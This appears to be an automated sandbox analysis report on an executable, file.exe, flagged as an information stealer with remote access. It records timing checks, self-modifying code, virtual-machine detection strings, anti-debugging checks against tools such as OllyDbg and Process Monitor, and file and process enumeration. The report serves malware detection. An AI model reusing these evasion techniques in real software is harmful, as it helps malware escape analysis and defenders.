Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356A92 second address: 1356AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 jng 00007F1DD489F596h 0x0000000e jnp 00007F1DD489F596h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EA62 second address: 136EA66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EA66 second address: 136EA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F1DD489F59Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EA77 second address: 136EA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD4808498h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EA93 second address: 136EAC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD489F5A9h 0x00000009 jmp 00007F1DD489F5A5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E782 second address: 136E786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E786 second address: 136E7BD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD489F5A8h 0x00000011 jmp 00007F1DD489F5A3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D1F7 second address: 137D1FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D358 second address: 137D388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A9h 0x00000007 pushad 0x00000008 jmp 00007F1DD489F5A0h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D388 second address: 137D394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D394 second address: 137D398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D62D second address: 137D631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D797 second address: 137D7A1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1DD489F596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D7A1 second address: 137D7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D7A7 second address: 137D7C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD489F59Fh 0x00000009 jno 00007F1DD489F596h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D7C0 second address: 137D7FF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1DD4808486h 0x00000008 jns 00007F1DD4808486h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F1DD480848Ah 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007F1DD4808488h 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F1DD4808499h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137DC7F second address: 137DC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137DC8A second address: 137DC8F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137DF37 second address: 137DF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E0A6 second address: 137E0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jmp 00007F1DD480848Eh 0x0000000b jg 00007F1DD4808486h 0x00000011 pop ebx 0x00000012 push edi 0x00000013 jnp 00007F1DD4808486h 0x00000019 pop edi 0x0000001a jbe 00007F1DD480848Ah 0x00000020 push esi 0x00000021 pop esi 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F1DD4808496h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E0EE second address: 137E0F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E0F2 second address: 137E0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E0FD second address: 137E105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E105 second address: 137E10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E10A second address: 137E113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1381064 second address: 1381089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1DD480848Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1DD480848Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1381089 second address: 138108D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138111C second address: 1381120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1381120 second address: 1381139 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1381139 second address: 138118C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F1DD480848Dh 0x00000010 sbb edx, 3CE3B078h 0x00000016 pop edx 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F1DD4808488h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov edx, ecx 0x00000035 mov edx, dword ptr [ebp+122D1C3Ah] 0x0000003b push 60CB17ABh 0x00000040 push ebx 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000552 second address: 50005CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 mov al, 13h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1DD489F5A8h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1DD489F59Eh 0x00000018 or esi, 32BF3F48h 0x0000001e jmp 00007F1DD489F59Bh 0x00000023 popfd 0x00000024 mov si, A6BFh 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b jmp 00007F1DD489F5A2h 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F1DD489F5A7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000617 second address: 500061D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500061D second address: 5000621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000621 second address: 5000625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000625 second address: 5000640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1DD489F5A0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000640 second address: 5000646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000646 second address: 500064A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500064A second address: 5000674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F1DD4808499h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000674 second address: 5000678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000678 second address: 500068B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD480848Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500068B second address: 50006C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1DD489F5A8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50006C5 second address: 50006CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50006CB second address: 50006D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50006D1 second address: 50006D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 129FC95 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10FDC53 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1320F39 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E240F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,		0_2_00E240F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,		0_2_00E1E530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E247C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,		0_2_00E247C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E1F7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E11710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E11710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,		0_2_00E1DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E24B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E24B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E23B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,		0_2_00E23B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,		0_2_00E1BE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,		0_2_00E1EE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E1DF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E11160 GetSystemInfo,ExitProcess,

0_2_00E11160

Source: file.exe, file.exe, 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2155893924.00000000009C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWz
Source: file.exe, 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2155893924.00000000009F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe	Binary or memory string: qEmud
Source: file.exe, 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe	Binary or memory string: VmCiR;k
Source: file.exe, 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareV_!

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E14610 VirtualProtect ?,00000004,00000100,00000000

0_2_00E14610

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00E29BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29AA0 mov eax, dword ptr fs:[00000030h]

0_2_00E29AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E27690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00E27690

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: Process Memory Space: file.exe PID: 716, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E29790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00E29790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E298E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_00E298E0

Source: file.exe, file.exe, 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: CgProgram Manager

Language, Device and Operating System Detection

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E575A8 cpuid

0_2_00E575A8

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00E27D20

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E26BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00E26BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E279E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00E279E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E27BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00E27BC0

Stealing of Sensitive Information

Source: Yara match	File source: 0.2.file.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2114793571.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 716, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Source: Yara match	File source: 0.2.file.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2114793571.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 716, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP